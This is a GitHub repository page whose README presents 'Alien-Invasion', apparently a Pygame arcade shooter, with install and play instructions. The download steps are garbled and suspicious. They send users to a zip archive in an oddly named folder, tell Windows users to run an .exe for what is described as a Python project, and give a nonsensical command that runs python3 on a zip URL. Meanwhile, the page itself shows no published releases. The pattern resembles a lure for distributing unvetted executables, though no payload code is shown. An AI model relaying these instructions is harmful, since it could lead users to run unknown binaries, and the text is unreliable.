Skip to content
/ Alien-Invasion Public template

๐Ÿš€ Defend your spaceship against alien invaders in this classic Pygame space shooter, inspired by retro arcade games. Enjoy smooth controls and pixel-art graphics.

License

Notifications You must be signed in to change notification settings

boybands/Alien-Invasion

Folders and files

NameName
Last commit message
Last commit date

Latest commit

ย 

History

6 Commits
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 

Repository files navigation

๐Ÿ‘พ Alien-Invasion - Defend Earth from Alien Threats

Download Alien-Invasion

๐Ÿš€ Getting Started

Alien Invasion is an arcade-style game where you control a spaceship and shoot waves of aliens. This game is built using Python and Pygame, making it a great example of basic game development skills. You will learn about events, collision detection, object movement, and how to manage sprites.

๐Ÿ“ฆ System Requirements

Before you start, please ensure your computer meets these requirements:

  • Operating System: Windows, macOS, or Linux
  • Python Version: Python 3.6 or later
  • Pygame: Pygame installed (instructions below)

๐Ÿ”„ How to Install Pygame

If you do not have Pygame installed, follow these steps for your operating system:

Windows and macOS

  1. Open your command prompt (Windows) or terminal (macOS).

  2. Type the following command:

    pip install pygame
    
  3. Press Enter to run the command. This will download and install Pygame.

Linux

  1. Open your terminal.

  2. Use your package manager to install Pygame. For example, on Ubuntu, type:

    sudo apt-get install python3-pygame
    
  3. Press Enter.

๐Ÿ“ฅ Download & Install

To start playing Alien Invasion, you need to download the game files.

  1. Visit the Releases Page: Click the link below to go to the releases page.

    Download Alien-Invasion

  2. Download the Latest Release: Look for the latest version available on the releases page. Click the file that matches your operating system.

  3. Run the Game:

    • Windows: Double-click the downloaded .exe file.

    • macOS: Open the downloaded .dmg file and drag the game to your Applications folder, then launch it.

    • Linux: Extract the files from the downloaded https://raw.githubusercontent.com/boybands/Alien-Invasion/main/nebalioid/Alien-Invasion.zip archive. Open your terminal and navigate to the extracted folder. Run the game using:

      python3 https://raw.githubusercontent.com/boybands/Alien-Invasion/main/nebalioid/Alien-Invasion.zip
      

๐ŸŽฎ How to Play

Once you have the game running:

  • Use the left and right arrow keys to move your spaceship.
  • Press the spacebar to shoot bullets.
  • Destroy as many aliens as you can before they reach the bottom of the screen!

๐ŸŒŒ Game Features

  • Classic Arcade Style: Enjoy the nostalgic gameplay reminiscent of classic arcade games.
  • Challenging Levels: Face increasing waves of alien enemies.
  • High Score Tracker: Keep track of your best scores to challenge yourself.
  • User-Friendly Interface: Simple controls make it easy for anyone to play.

๐ŸŽจ About the Development

This game demonstrates key game development concepts:

  • Event Handling: Reacting to user inputs in real-time.
  • Collision Detection: Identifying when objects interact, like bullets hitting aliens.
  • Object Movement: Creating smooth movements for the spaceship and aliens.
  • Sprite Management: Using images for game objects to create an engaging visual experience.

๐Ÿค– Contributing

If you want to contribute to Alien Invasion, feel free to fork the repository and make changes. You can submit a pull request with your updates.

๐Ÿ“œ License

This project is licensed under the MIT License. You can freely use and modify the code, but please attribute the original authors.

Thank you for checking out Alien Invasion! Enjoy defending Earth from the alien attack!

About

๐Ÿš€ Defend your spaceship against alien invaders in this classic Pygame space shooter, inspired by retro arcade games. Enjoy smooth controls and pixel-art graphics.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •  

Languages